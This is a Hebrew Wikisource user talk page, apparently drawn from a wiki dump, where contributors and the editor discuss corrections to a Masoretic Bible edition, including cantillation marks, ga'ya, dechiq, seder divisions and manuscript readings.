במהדורת מקרא על פי המסרה, יש געיה כבדה לא סדירה בתיבת וַֽיעמד. ראיתי שבמקראות גדולות הכתר אין. חיפשתי בהערות הנוסח ולא מצאתי התייחסות לכך. בדקתי ומצאתי שבכת״י ל יש כנראה געיה כבדה (הדיו קצת מטושטש, אבל קו הגעיה נראה די בבירור), אבל בשאר כתבי היד שבדקתי (שני כתבי יד ששון, ווטיקן 448) אין געיה זו. גם משמע כך בחילופי מישאל שכתב שהסכימו בתיבות והֽתיצבו שם, אם אֽת כל דגי הים (שניהם עם געיה כבדה שאינה סדירה) ולא מנה את &quot;ויעמד&quot;. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 11:10, 5 ביוני 2026 (IDT)

:תודה רבה על ההערה. בדקתי עוד שורה של כתבי יד, וברוב המכריע אין געיה (רק עוד אחד חוץ מכתי&quot;ל). גם מדובר על תיבת משרת. אז אבצע את השינוי ואוסיף הערה.
:אגב שאלה: אתה בודק תמיד את כת&quot;י ותיקן 448. לא השתמשתי בכתב יד זה בעבר, חוץ מהמקרים שאתה הזכרת אותו. מה מייחד את כתב היד הזה, והופך אותו למקור חשוב בשביל געיות? [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 13:10, 7 ביוני 2026 (IDT)
::יש״כ.
::שתי תשובות לשאלתך: אני בודק תמיד את כת״י וטיקן 448 קודם כל משום שעבורי הוא נגיש, כי השתמשתי בו כדי לערוך לעצמי נוסח לתרגום אונקלוס, ולכן רשום לי בדיוק באיזה דף נמצא כל פסוק ואני מאתר בקלות. מלבד זאת, מהתרשמותי, הערות המסרה שלו במחלוקות ב״א וב״נ מתאימות כמעט תמיד לחילופי מישאל, ולכן בעיניי הוא מאד אמין בתחום הגעיות. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 00:25, 8 ביוני 2026 (IDT)
:::תודה רבה! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 18:33, 8 ביוני 2026 (IDT)

== ויעמדו פתח אהל מועד ==

בפרשת קרח ([[במדבר טז יח]]), בכת״י ל׳ וכאן הגעיה באות ו׳ וַֽיעמדו. בדקתי במק״ג הכתר ובמכון ממרא וראיתי ששם אין געיה כבדה באות ו׳, כצפוי (כי איון מבנה של געיה כבדה סדירה). לא התפניתי לבדוק בכתבי יד, אבל אני משער שכת״י ל הוא היחיד שהניח את הגעיה הכבדה. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 10:01, 19 ביוני 2026 (IDT)</text>
      <sha1>aq0d5qrpgg8wffaqjhcnt374g49qjzu</sha1>
    </revision>
    <revision>
      <id>3020755</id>
      <parentid>3020749</parentid>
      <timestamp>2026-06-19T09:51:49Z</timestamp>
      <contributor>
        <username>Dovi</username>
        <id>1</id>
      </contributor>
      <comment>/* ויעמדו פתח אהל מועד */</comment>
      <origin>3020755</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="46514" sha1="plnirujpqovbtv2noq38apr1hbthgbo" xml:space="preserve">כאן בדף שיחתי ניתן לדווח על טעויות ב'''[[משתמש:Dovi/מקרא על פי המסורה|מקרא על פי המסורה]]''' וב'''[[תרגום אונקלוס]]''', וגם כמובן לפנות אלי למטרות אחרות. לחץ על [https://he.wikisource.org/w/index.php?title=%D7%A9%D7%99%D7%97%D7%AA_%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Dovi&amp;action=edit&amp;section=new &quot;פסקה חדשה&quot;] כדי להתחיל דיון חדש.&lt;div dir=&quot;ltr&quot;&gt;
Here at my talk page you can report errors in '''[[:en:User:Dovi/Miqra according to the Mesorah|Miqra according to the Mesorah]]''' and '''[[תרגום אונקלוס|Targum Onkelos]]''', or contact me for any other reason. Click on [https://he.wikisource.org/w/index.php?title=%D7%A9%D7%99%D7%97%D7%AA_%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Dovi&amp;action=edit&amp;section=new Add topic] to begin a new discussion.
&lt;/div&gt;
{{ש}}
__TOC__
==ארכיון==

'''ארכיון לדף השיחה שלי:'''
*'''[[שיחת משתמש:Dovi/ארכיון א|א]]'''
*'''[[שיחת משתמש:Dovi/ארכיון ב|ב]]'''
*'''[[שיחת משתמש:Dovi/ארכיון ג|ג]]'''
*'''[[שיחת משתמש:Dovi/ארכיון ד|ד]]''' (05.10-12.12)
*'''[[שיחת משתמש:Dovi/ארכיון ה|ה]]''' (01.13-08.13)
*'''[[שיחת משתמש:Dovi/ארכיון ו|ו]]''' (24.10.2013-04.01.2022)
*'''[[שיחת משתמש:Dovi/ארכיון ז|ז]]''' (13.01.2022-31.12.2024)
*'''[[שיחת משתמש:Dovi/ארכיון ח|ח]]'''

== פרשת ויגש (בראשית מה יד): ויפל על צוארי בניָֽמִן־אחיו ==

אמנם הנוסח בלנינגרד בנימִֽן־ (וניתן אף להסתפק אם קיימת געיה בכלל, אבל נראה יותר שהיא קיימת), אבל בכתבי יד ששון 
בניָֽמִן־ (ניתן לראות את זה בבירור בתורה ששון, בתנ״ך ששון לא סומן החירק כלל), וכן בכת״י וטיקן 448 (דף 61r , יש שם בעיה עם סידור הדפים), וכ״כ מנחת שי, ובחילופין מישאל נכתב שלא נחלקו בזה ב״א וב״נ, וכן הוא בברויאר ובמק״ג הכתר. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 10:58, 10 בינואר 2025 (IST)

:תודה [[משתמש:Shacoaz|Shacoaz]]! [https://he.wikisource.org/w/index.php?title=%D7%91%D7%A8%D7%90%D7%A9%D7%99%D7%AA_%D7%9E%D7%94/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=236117&amp;diff=2899983&amp;oldid=2859185 הוספתי תיעוד]. כשאתה מבצע תיקון, אם יש אפשרות חשוב לתעד מייד את נוסח כתי&quot;ל, ואז יהיה ברור שיש מה לדון בתיבה. אח&quot;כ אפשר להוסיף.

:שאלה: מהו היתרון בנוסח הגעיות בכת&quot;י ותיקן 448? לפי הקטלוג התרגום מאוד חשוב בו, ויש גם מסורה מיוחדת. מישהו בדק בו ניקוד וטעמים וגעיות? שבת שלום, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 14:51, 10 בינואר 2025 (IST)

== מזמור קנ&quot;א\תהלים קנא ==

ר' אבי, האם תוכל בבקשה לפנות זמן ולחוות דעתך בנושא שם הדף הראוי ל[[מזמור קנ&quot;א]] \ [[תהלים קנא]], בדיון המתקיים בדף [[שיחת משתמש:פעמי-עליון]]? אעריך זאת מאוד. בברכה, [[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 12:48, 18 במרץ 2025 (IST)

== קמץ ב&quot;בז לרעהו&quot; ==

[[שיחת קטגוריה:משלי יא יב#קמץ קטן או גדול ב&quot;בז&quot;]]

אשמח לתשובה [[משתמש:J. Nord|J. Nord]] ([[שיחת משתמש:J. Nord|שיחה]]) 16:31, 2 באפריל 2025 (IDT)

== לא אד&quot;ו ראש ולא בד&quot;ו פסח ==

פסח השנה (תשפ&quot;ה) יוצא ביום ראשון ולכן חול המועד ביום שני אבל אין בטבלה את הקריאה של חול המועד היוצא ביום שני של פסח.
באותו האופן אם לא בד&quot;ו פסח אז למשל לא יכול להיות שיום שלישי יהיה חול המועד א של פסח [[משתמש:Yaakov shitrit|Yaakov shitrit]] ([[שיחת משתמש:Yaakov shitrit|שיחה]]) 09:37, 14 באפריל 2025 (IDT)
: לא הבנתי מה חסר לך בטבלה. פסח חל השנה ביום ראשון והטבלה אומרת שבט&quot;ז בניסן קוראים &quot;שור או כשב&quot;. מועדים לשמחה, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 11:44, 14 באפריל 2025 (IDT)

== אנא ה' הושיעה נא ==

שבוע טוב,

ראיתי השבת שבסידור קורן מופיע שיש להגות &quot;הוש֫יעה&quot;. כדי להבין למה, בדקתי בגרסה שלהם וראיתי שבתנ&quot;ך קורן המילה מוטעמת במונח בלבד באות שי&quot;ן. רציתי להשוות את זה למקרא על פי המסורה ולא ראיתי תיעוד של הגרסה הזאת. היא מופיעה בעוד גרסאות של מקראות גדולות שהסתכלתי בהן. אשמח להוסיף את הגרסה. [[משתמש:Kurpaph|Kurpaph]] ([[שיחת משתמש:Kurpaph|שיחה]]) 22:19, 19 באפריל 2025 (IDT)
: לא כל שטות של קורן ראויה לתיעוד לענ&quot;ד.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 00:25, 20 באפריל 2025 (IDT)
::אני מסכים שאי-אפשר להעיר על כל הטעמה חריגה בדפוסים בכלל, ובדפוס קורן בפרט. ברובם אין שום משמעות. ביחד עם זה, חשוב להעיר במקומות שהמדקדקים עוסקים בהם או שאנשים נוטים לשאול. במקום הזה יש לא רק דיון במ&quot;ש, אלא גם שבסידורים רבים מציינים ב&quot;הושיעה&quot; שהיא מלעיל. הוספתי הערה. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:56, 23 באפריל 2025 (IDT)
:::תודה רבה @[[משתמש:Dovi|Dovi]]!
:::בהקשר לשיח, אשמח להבהרה בנוגע לדברים שנכנסים לגרסה זו ולדברים שלא. חשבתי שיש כאן רשימה של כל גרסאות המסורה וכמובן של כתבי היד. לא ידעתי שיש כאן השמטה של מסורות הדפוסים. [[משתמש:Kurpaph|Kurpaph]] ([[שיחת משתמש:Kurpaph|שיחה]]) 14:20, 23 באפריל 2025 (IDT)
::::ממליץ לך לקרוא את ההקדמה למהדורה. אין כאן &quot;השמטה של מסורות הדפוסים&quot;, כי המהדורה איננה מיוסדת על הדפוסים ואין מה להשמיט. היא מיוסדת על כתר ארם צובה וכת&quot;י לנינגרד, ולכן יש חובה לציין כל חריגה מהם וכל נקודה לא ברורה בהם. לעתים הדפוסים שופכים קצת אור על השאלות הללו, לפחות בתור השוואה, ולכן ציינו אותם. בנוסף לכך, יש מקומות שנוסח הדפוסים כה שגור בפיהם של הקוראים, עד כדי כך שכדאי לציין את ההבדל בינו לבין נוסח כתבי היד. עשיתי כך פעמים רבות בתורה, אבל יש מקום לשפר. גם במזמורי הלל, כמו בפסוק הזה, הצורך הזה קיים. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:16, 23 באפריל 2025 (IDT)

== לגרמיה / פסק ==

אם אני מבין נכון, לגרמיה מוצג בצורה בולטת יותר מסתם פסק. למשל, בבראשית א' 29 (במלה &quot;עשב&quot;) הוא מוצג כקו עבה:

[[:קטגוריה:בראשית א כט]]

אבל בבראשית א' 21 גם כן יש לגרמיה (במלה &quot;החיה&quot;), אבל משום מה הוא מוצג כקו חלש:

[[:קטגוריה:בראשית א כא]]

האם זה אינו לגרמיה? יש באותה מלה &quot;מונח&quot; מתחת ליו&quot;ד. [[מיוחד:תרומות/2A02:14F:F:8079:A807:2FC7:4E81:55AC|2A02:14F:F:8079:A807:2FC7:4E81:55AC]] 09:55, 1 במאי 2025 (IDT)
: בבראשית א 21 במלה &quot;החיה&quot; אין לגרמיה אלא פסק רגיל, שכן במלה &quot;הרומשת&quot; יש פזר. לעומת זאת, כאשר לאחר המונח בא רביע או מונח רביע, הרי המונח שלפניו הוא לגרמיה. 
: כעיקרון, לפני רביע בא לגרמיה (וכן לפני מהפך פשטא, או לפני קדמא ואזלא). לעומת זאת, לפני פזר בא מונח רגיל עם פסק. בברכה, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 12:50, 1 במאי 2025 (IDT)

תודה על שאלתך ועל הרצון לדיוק, ותודה נחום על התשובה הנכונה. ראו במבוא למידע מפורט על [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#פסק ולגרמיה|ההבחנה בין &quot;פסק&quot; ל&quot;לגרמיה]]. שבת שלום, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 09:32, 2 במאי 2025 (IDT)

== Contacting you ==

Is there a way I can contact you in English about use of your MAM text? [[מיוחד:תרומות/183.182.111.122|183.182.111.122]] 10:11, 18 במאי 2025 (IDT)

Sure! Just log in to Wikisource, click on &quot;Tools&quot;, and select &quot;Email this user&quot;. I'd be happy to help however I can. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:34, 18 במאי 2025 (IDT)

== שינוי קישור למקרא בויקיטקסט ==

[[משתמש:Dovi|Dovi]], [https://he.wikisource.org/w/index.php?diff=2960542 עריכה] זו בסדר? [[משתמש:יחיאל הלוי|יחיאל הלוי]] ([[שיחת משתמש:יחיאל הלוי|שיחה]]) 13:55, 12 באוקטובר 2025 (IDT)

:כן, כך צריך להיות. תודה! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:33, 12 באוקטובר 2025 (IDT)

== הטעמה באיוב ו י ==

{{מ:דחי|בְ֭חִילָה|בְ֭חִילָ֭ה}} - על פי מה קבעת את ההטעמה מלרע? מסברה? זו לא צורה מוארכת של חיל? [[משתמש:יחיאל הלוי|יחיאל הלוי]] ([[שיחת משתמש:יחיאל הלוי|שיחה]]) 15:27, 15 באוקטובר 2025 (IDT)

:תודה רבה על תשומת הלב והדיוק בשאלה! לא שמתי לב לזה קודם. בדקתי עכשיו, ו[https://he.wikisource.org/w/index.php?title=%D7%90%D7%99%D7%95%D7%91_%D7%95/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=238996&amp;diff=2960832&amp;oldid=2912427 הוספתי הערת נוסח]. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:27, 15 באוקטובר 2025 (IDT)
::תודה רבה! [[משתמש:יחיאל הלוי|יחיאל הלוי]] ([[שיחת משתמש:יחיאל הלוי|שיחה]]) 21:25, 16 באוקטובר 2025 (IDT)

== וריקה וגעיה בשופטים ז' ז' ==

במילה &quot;המלקקים&quot; בשופטים ז' ז' יש בכתר חטפים באות מ' ובאות ק' וגעיות באות ה' ובאות ל', אך במהדורה מסומנת רק הגעיה ב-ה' והווריקה ב-ק' (אולי בהשפעת המילה &quot;המלקקים&quot; שבפסוק הקודם, שאכן מופיעה בהתאם לכתר). [[משתמש:עשהאל|עשהאל]] ([[שיחת משתמש:עשהאל|שיחה]]) 00:56, 28 באוקטובר 2025 (IST)

:תודה [[משתמש:עשהאל|עשהאל]]! [https://he.wikisource.org/w/index.php?title=%D7%A9%D7%95%D7%A4%D7%98%D7%99%D7%9D_%D7%96/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=236813&amp;diff=2962084&amp;oldid=2907888 '''תיקנתי''']. בבקשה לבדוק שוב שהכל בסדר עכשיו. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 08:05, 28 באוקטובר 2025 (IST)

== הצעה – ציטוט בוויקיטקסט מתוך מקרא על פי המסורה ==

אני עורך ערכים בוויקיטקסט, בעיקר כאלה שהם חלקים מהתפילה ומוסיף להם סימני הטעמות (כשמדובר במלעיל ולא במלרע). התפילה בנויה לרוב על פסוקים וכדי לכתוב אותם בצורה מדויקת אני מעדיף להשתמש בתבנית שתביא לי את המידע ממקור מהימן, אבל כרגע אין תבנית שתיתן לי את הפסוקים עם מיקומי ההטעמות שלהם (נגיד עם אפשרות של םֽ או ם֫). להבנתי משיחה עם @[[משתמש:נחום|נחום]] המידע שמגיע לתבניות צת וצת לעיצוב הוא מהגרסה המנוקדת. אני חושב שאפשר לשפר את זה משני כיוונים:
1. אני חושב שחבל שהמידע לא מגיע מהפרויקט הענק של ויקיטקסט – מקרא על פי המסורה.
2. אשמח שתהיה לי אפשרות ציטוט פסוקים עם סימון מיקומי ההטעמות (לרוב םֽ או ם֫, אפשרי לבחירת המשתמש כארגומנט).

האם לדעתך זה יהיה דבר אפשרי?

[[שיחת תבנית:צת]] [[משתמש:Kurpaph|Kurpaph]] ([[שיחת משתמש:Kurpaph|שיחה]]) 11:40, 29 באוקטובר 2025 (IST)

== יחזקאל לו:לח &quot;קדשים&quot; קמץ הקוף ==

'''הדיון הועבר אל [[שיחת ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#קמץ קטן]].'''

== Ps 53:6.3 ==

פָּ֥חֲדוּ פַחַד֮
.It seems to me that the first syllable in this word could use a stress helper above it
David E. S. Stein— [[מיוחד:תרומות/&amp;#126;2025-30591-86|&amp;#126;2025-30591-86]] • [[שיחת משתמש:&amp;#126;2025-30591-86|שיחה]] 16:28, 30 באוקטובר 2025 (IST)

:תודה דוד. אבל הוא '''[[תהלים נג/טעמים#נג ו|כבר נמצא שם]]'''! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 17:00, 30 באוקטובר 2025 (IST)

== נקודה בו&quot;ו עיצורית ==

כפי שאתה מציין [[וק:מבוא למקרא על פי המסורה/פרק ב#נקודה בוי&quot;ו עיצורית|במבוא למקרא]], הושמטו הנקודות בו&quot;וים עיצוריות, לפי דבריך כדי למנוע בלבול. לכאורה הנקודות הללו הן דגשים חזקים, שמשפיעים על הקריאה, ואם כן דוקא השמטה שלהן היא שיש בה משום גרימת טעות. [[משתמש:הירש אייזנשטיין|הירש אייזנשטיין]] • [[שיחת משתמש: הירש אייזנשטיין|שיחה]] • ט&quot;ז בכסלו ה'תשפ&quot;ו • 23:20, 6 בדצמבר 2025 (IST)

:בוקר טוב ושבוע טוב. תודה רבה על תשומת הלב! לא מדובר על דגש, אבל מה שכתבתי במבוא לא היה מספיק כדי להבהיר את זה. ראה [[וק:מבוא למקרא על פי המסורה/פרק ב#נקודה בוי&quot;ו עיצורית|במבוא]] עכשיו. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 07:49, 7 בדצמבר 2025 (IST)

::כמדומני שגם את הנקודה המסומנת בא' ב[[ויקרא כג יז]] ו[[בראשית מג כו]] יש מסבירים באותו אופן, שלא מדובר בדגש חזק (שלא אמור היה לבוא כאן), אלא בסימן שהא' עיצורית ולא תיבלע קריאתה. אמנם שם כן נהגו בדפוסים לסמן את הנקודה. [[משתמש:בן עדריאל|בן עדריאל]] ([[שיחת משתמש:בן עדריאל|שיחה]]) 12:23, 7 בדצמבר 2025 (IST)

:::נכון, יש דמיון ניכר בין התופעות (נקודה באות לפני שורוק). יש גם שוני: אכן אפילו בדפוסים הקפידו על א' דגושה, ולא במקרה. המסורה הקפידה להורות במפורש על הדגשים האלה באל&quot;ף, והיא קוראית להם במפורש &quot;דגש&quot;. לכן יש עקביות גבוהה בנושא הזה בכתבי־היד (ובהמשך אחר כך בדפוסים). לכן ההסבר שהבאת יאה לתופעה: &quot;סימן שהא' עיצורית ולא תיבלע קריאתה&quot;. לעומת זאת, אין התייחסות בהערות המסורה לנקודה בוי&quot;ו עיצורית ואין הקפדה בכתבי־היד (ולרוב היא לא נכתבת). וההסבר שמציע ייבין הוא בעצם הפוך: הנקודה לא באה לסמן שהאות וי&quot;ו עיצורית, אלא לסמן &quot;שבמקרה זה הו' מבוטאת כתנועה ממש (היינו: uu); שהרי העיצור ו נֶהגה בדרך כלל כחצי תנועה, וכשבאה אחריו תנועת u, שהיא מסוגו, מתקרבת הגייתו להגיית תנועה ממש&quot;. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:56, 7 בדצמבר 2025 (IST)

== ויקרא י' פסוק ד' ==

בפסוק יש ציון במסורה לתלישא גדולה וגרשיים, אולם בתצוגה [[ויקרא י ד|כאן]] הסימון נראה כפול, מדוע ?
תודה, מתן [[מיוחד:תרומות/&amp;#126;2026-60674|&amp;#126;2026-60674]] • [[שיחת משתמש:&amp;#126;2026-60674|שיחה]] 00:06, 4 בינואר 2026 (IST)
:בוקר טוב, ותודה על תשומת הלב לפרטים! ראה בבקשה את '''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#גרש או גרשיים ותלישא גדולה בתיבה אחת|ההסבר כאן]]'''. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 06:29, 4 בינואר 2026 (IST)

== דפים במרחב שלך שאולי כבר אפשר למחוק ==

למשל [[משתמש:Dovi/תורה על פי המסורה/ספר ויקרא/שלם]], [[משתמש:Dovi/תורה על פי המסורה/ספר ויקרא/כ]]

אולי גם [[משתמש:Dovi/מקרא מבואר ספר שלם]]

הם מופיעים בדפי קטגוריה ובדפי &quot;דפים המקושרים לכאן&quot;. זה לא קריטי, אבל קצת מפריע.

אולי אפשר למחוק את התוכן שלהם וליצור מהם הפניה לדפים התואמים במתחם הראשי? תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 21:17, 21 בינואר 2026 (IST)

:למיטב ידיעתי הם נשארו עם התוכן הנוכחי בתור תיעוד כלשהו. [[משתמש:הירש אייזנשטיין|הירש אייזנשטיין]] • [[שיחת משתמש: הירש אייזנשטיין|שיחה]] • ג' בשבט ה'תשפ&quot;ו • 21:21, 21 בינואר 2026 (IST)

בוקר טוב. מכיוון שהעבודה התחילה במרחב האישי בתור טיוטות, אז חלק מה&quot;היסטוריה&quot; של דפי המקרא נמצא בדפים כאלה. אין כאן שום דבר קריטי. אבל אולי כדאי באמת להפוך אותם להפניות במקום למחוק לגמרי. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 05:29, 22 בינואר 2026 (IST)
:מעולה!  לקחתי את [[משתמש:Dovi/תורה על פי המסורה/נשא|פרשת נשא]] בתור ניסוי. השארתי את [[:תבנית:דף היסטורי משתמש]] שהיא בעצם סוג של הפניה וגם הסבר למה קיים הדף הזה. מקובל?  אני יכול לכתוב בוט שיעשה את זה לכל הדפים שיש בהם [[:תבנית:דף היסטורי משתמש]]? 
:נ.נ. אנחנו מחכים כצאן ללא רועה לשמוע את דעתך לגבי הפסיקים, השורות נפרדות, ולגבי מהדורת הכתיב ב[[שיחה:מקרא]]. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 07:54, 22 בינואר 2026 (IST)

== אי עקביות בתנ&quot;ך הפונטי בתעתוק דחיק ==

ערב טוב,

רציתי להסב את תשומת לבך לכך ש[https://bdenckla.github.io/phonetic-hbo/tnkh/A2-Exodus/20.html בתנ&quot;ך הפונטי]  בספר שמות פרק כ, בפסוק כ ובפסוק כא מסומן דחיק ב'''לִּ'''י
{| class=&quot;wikitable&quot;
|תַּעֲשֶׂה־'''לִּ'''י
|ta·‘ă·se-'''llí'''
|}
לעומת זאת, בפרק יט', פסוק [https://bdenckla.github.io/phonetic-hbo/tnkh/A2-Exodus/19.html כג]: כִּֽי־אַתָּ֞ה הַעֵדֹ֤תָה '''בָּ֙'''נוּ֙ לֵאמֹ֔ר אמור להיות דחיק [https://he.wikisource.org/wiki/%D7%91%D7%99%D7%90%D7%95%D7%A8:%D7%93%D7%97%D7%99%D7%A7/%D7%A8%D7%A9%D7%99%D7%9E%D7%AA_%D7%9B%D7%9C_%D7%9E%D7%95%D7%A4%D7%A2%D7%99_%D7%94%D7%93%D7%97%D7%99%D7%A7_%D7%91%D7%9E%D7%A7%D7%A8%D7%90#:~:text=%D7%91%D6%B8%D6%BC%D6%99%D7%A0%D7%95%D6%BC%D6%99%20%D7%9C%D6%B5%D7%90%D7%9E%D6%B9%D6%94%D7%A8%20(-,%D7%A9%D7%9E%D7%95%D7%AA%20%D7%99%D7%98%2C%20%D7%9B%D7%92,-)%2C%20%D7%95%D6%B7%D7%99%D6%B9%D6%BC%D6%A8%D7%90%D7%9E%D6%B6%D7%A8%20%D7%99%D6%B0%D7%94%D7%95%D6%B9%D7%A9%D6%BB%D7%81%D6%9C%D7%A2%D6%B7%20%D7%90%D6%B6%D7%9C%2D%D7%9B%D6%B8%D6%BC%D7%9C] וכך מסומן גם בתנ&quot;ך סימנים, שגם בו מסומן דחיק באות בי&quot;ת, וגם על פי הדקדוק נראה לי שזה אינו דגש קל, אבל בתנ&quot;ך הפונטי מסומן רק דגש קל.
{| class=&quot;wikitable&quot;
|בָּ֙נוּ֙
|'''ba'''·nu
|}
נראה שגם בשאר התנ&quot;ך קיימת אי עקביות זו בתעתוק הדחיק, שבאותיות בג״ד כפ״ת הוא מסומן כדגש קל (כיוון שב'על התורה'  לא מסומן דחיק כדגש חזק באותיות בג״ד כפ״ת), ובשאר האותיות הוא מסומן כדגש חזק.

לפיכך, מומלץ לקבוע שיטה עקבית לתעתוק הדחיק, שתשמור על עקביות בין אותיות בג&quot;ד כפ&quot;ת לשאר האותיות. [[משתמש:נשיא|נשיא]] ([[שיחת משתמש:נשיא|שיחה]]) 21:15, 3 בפברואר 2026 (IST)

:בוקר טוב, ותודה על ההערה החשובה. אפנה אותה אל המתכנת שבנה את התנ&quot;ך הפונטי. לשם כך הוא לקח את הסימון של &quot;שווא נע&quot; ו&quot;דגש חזק&quot; מאתר על התורה (בשיתוף פעולה, ואנחנו מודים להם על כך). מקור הבעיה, כנראה, הוא הקושי לאתר ולסמן דחיק לאורך התנ&quot;ך באופן אוטומטי בתור בסיס ראשוני. כלומר: קל לאתר אותו ברוב האותיות, אך קשה יותר באותיות בג&quot;ד כפ&quot;ת. אמנם ייתכן שיש דרך לעשות את זה. אם תרצה, אוכל לשתף אותך בדיון מול המתכת, ואולי תוכל לעזור בביצוע ובידוק. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 09:14, 4 בפברואר 2026 (IST)
::ערב טוב, תודה על התשובה המהירה, אני לא מומחה לדקדוק, ואני סומך עליכם (אלא אם תגיעו למסקנה לא לבצע את זה עכשיו, אלא להתמקד בדברים אחרים, או שאין לכם עכשיו את המשאבים לביצוע הסימון) שתבצעו את זה באופן מקצועי ומדויק. לדעתי, אם אי אפשר לבצע את הסימון באמצעות קוד, אולי אפשר לבקש מהוצאה שמסמנת דגש חזק, שתשתף איתכם את רשימת הדחיק, לדוגמה ממכון סימנים, במהדורתו המבוססת על הכתר (במהדורה של התנ&quot;ך שיש אצלי, נראה לי משנת תשע&quot;ה שבו יש סימון של דגש חזק גם בדחיק),ואפשר לבקש מהם שישחררו את רשימת הדחיק לציבור דרך המיזם (אני לא יודע מה הסיכויים שהם יסכימו לשחרר את זה, אבל אם כן אז יהיה יחסית קל להוסיף את הסימון למהדורה). אני רוצה גם להביע הערכה למיזם באופן כללי, על הנגשת  נוסח המסורה בצורה חופשית,עם סימון של כמעט כל מה שצריך לקריאה, ובצורה המותאמת לקורא, דבר שכמעט ולא נעשה (אולי רק מכון סימנים ותיקון קוראים חורב), אז תודה רבה על כל ההשקעה בעריכה ובהגהה של התנ&quot;ך. [[משתמש:נשיא|נשיא]] ([[שיחת משתמש:נשיא|שיחה]]) 21:38, 4 בפברואר 2026 (IST)

== סדרים וגרסת דף אחד של ספרים ==

בזמן השוואה יחסית מהירה ולא קפדנית של הסדרים בין מקרא על פי המסורה ורשימת הסדרים של [https://shivalevitzaron.org/wp-content/uploads/2025/09/%D7%A8%D7%90%D7%A9%D7%99-%D7%A1%D7%93%D7%A8%D7%99-%D7%94%D7%AA%D7%A0%D7%9A-%D7%9C%D7%90%D7%AA%D7%A8.pdf שיבה לבצרון] (וכשנמצאה חוסר התאמה גם עם של [https://www.tanachyomi.co.il/PDFFiles/prakim.pdf תנ״ך יומי]), מצאתי את חוסר ההתאמות הבאות:
#שמואל סדר ג: מופיע בשמואל א ג:יט במקום ג:כ
#שמואל סדר יג: מופיע בשמואל א כ:ה במקום כ:ד
#שמואל סדר כא: מופיע בשמואל ב ב:ו במקום ב:ז
#מלכים סדר כב: מופיע במלכים ב ו:ז במקום ו:כג
#ישעיהו סדר כו: לא מופיע במקום ישעיהו סה:ט
בנוסף לכך, בדקתי את הסדרים לרוב בגרסאות הדף אחד של הספרים, ומצאתי טקסט (שכנראה לא מתאים שיהיה שם) במקומות הבאים:
ירמיהו יז:כו (סדר ט*): מופיע {{נוסח|
ירמיהו ל:לב: מופיע {#קטע:משתמש:Dovi/נביאים וכתובים על פי המסורה/ספר ירמיהו/ל|ירמיהו ל}}
תהילים צז:יב: דומה לנמצא מתחת, בדברי הימים
דברי הימים ב לד:לג: #קטע:דברי הימים ב לה/טעמים#קטע:דברי הימים ב לו/טעמיםתבנית:מ:טעמי המקרא-סוףתבנית:מ:שוליים-סוף [[מיוחד:תרומות/&amp;#126;2026-98926-0|&amp;#126;2026-98926-0]] • [[שיחת משתמש:&amp;#126;2026-98926-0|שיחה]] 21:38, 13 בפברואר 2026 (IST)
:שבוע טוב, ותודה על ההערות. עיקר המהדורות שצריך לבדוק לגבי שאלות מהסוג הזה: ברויאר (על פי כתר ארם צובה), וקורן (עשיתי השוואה מולו). וחשוב לבדוק ב'''[https://archive.org/details/kitabalkhilafmis0000mish/page/n5/mode/2up ספר החילופים]''', לקרוא [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה#חלוקת הסדרים בנביאים וכתובים|כאן במבוא]].
:אני רואה 5 מקומות ברורים בשאלתך (ראה למעלה), שמתוכם שלושת הראשונים הם שאלה של הזזה של פסוק אחד. אבדוק אותם בעזר&quot;ה. אחר כך #4 (מל&quot;ב ו) יש כבר הסבר בהערת נוסח, ו-#5 בסוף ישעיהו צריך לבדוק.
:אחר כך אינני מבין את ההמשך בדבריך. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 22:08, 14 בפברואר 2026 (IST)
